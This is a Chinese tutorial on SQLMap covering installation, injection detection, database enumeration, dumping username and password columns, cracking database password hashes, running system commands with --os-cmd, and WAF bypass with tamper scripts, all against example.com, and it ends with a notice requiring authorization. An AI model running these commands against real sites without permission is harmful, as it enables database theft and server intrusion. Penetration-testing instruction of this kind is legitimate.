安装
1. 安装 Python
SQLMap 是基于 Python 开发的,所以要先安装 Python 环境。建议安装 Python 3.9 或更高版本,可从 Python 官方网站 下载对应操作系统的安装包,然后按照安装向导完成安装。
2. 获取 SQLMap
可以从 SQLMap 的官方 GitHub 仓库克隆代码:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
也可以直接从 GitHub 下载压缩包,解压到指定目录。
基本使用
1. 检测单一 URL 的注入漏洞
使用 -u
参数指定目标 URL 进行注入检测:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1"
SQLMap 会自动检测该 URL 是否存在 SQL 注入漏洞,并尝试确定注入类型(如布尔型、时间型、联合查询型等)。
2. 处理带有 Cookie 的请求
如果目标网站需要登录状态才能访问,可以使用 --cookie
参数传递 Cookie 信息:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --cookie="session_id=abcdef123456; user=testuser"
3. 处理 POST 请求
对于使用 POST 方法提交数据的表单,可以使用 -d
参数指定 POST 数据:
python sqlmap.py -u "http://example.com/login.php" -d "username=test&password=test"
数据库信息获取
1. 列出所有数据库
若检测到注入漏洞,可使用 --dbs
参数列出目标数据库服务器上的所有数据库:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs
2. 列出指定数据库中的表
使用 -D
参数指定数据库名,--tables
参数列出该数据库中的所有表:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb --tables
3. 列出指定表中的列
使用 -T
参数指定表名,--columns
参数列出该表中的所有列:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --columns
4. 提取数据
使用 -C
参数指定要提取的列名,--dump
参数提取数据:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users -C username,password --dump
高级功能
1. 暴力破解数据库密码
使用 --passwords
参数可以尝试暴力破解数据库用户的密码:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --passwords
2. 执行系统命令(仅适用于支持的数据库)
对于某些数据库(如 MySQL),可以使用 --os-cmd
参数执行系统命令:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --os-cmd="ls -l"
3. 绕过 WAF(Web 应用防火墙)
使用 --tamper
参数可以指定一些绕过 WAF 的脚本,例如使用 apostrophemask
脚本来绕过对单引号的过滤:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --tamper=apostrophemask
注意事项
- 合法性:必须在获得目标系统所有者明确授权的情况下使用 SQLMap 进行测试,未经授权的渗透测试属于违法行为。
- 数据安全:在测试过程中,要注意避免对目标系统造成数据损坏、服务中断等不良影响。
- 性能影响:SQLMap 的某些操作可能会对目标系统造成较大的性能压力,建议在非生产环境或低峰期进行测试。
- 防护机制:对于一些使用了高级防护机制的网站,SQLMap 可能无法直接检测到注入漏洞,需要结合其他技术和工具进行分析。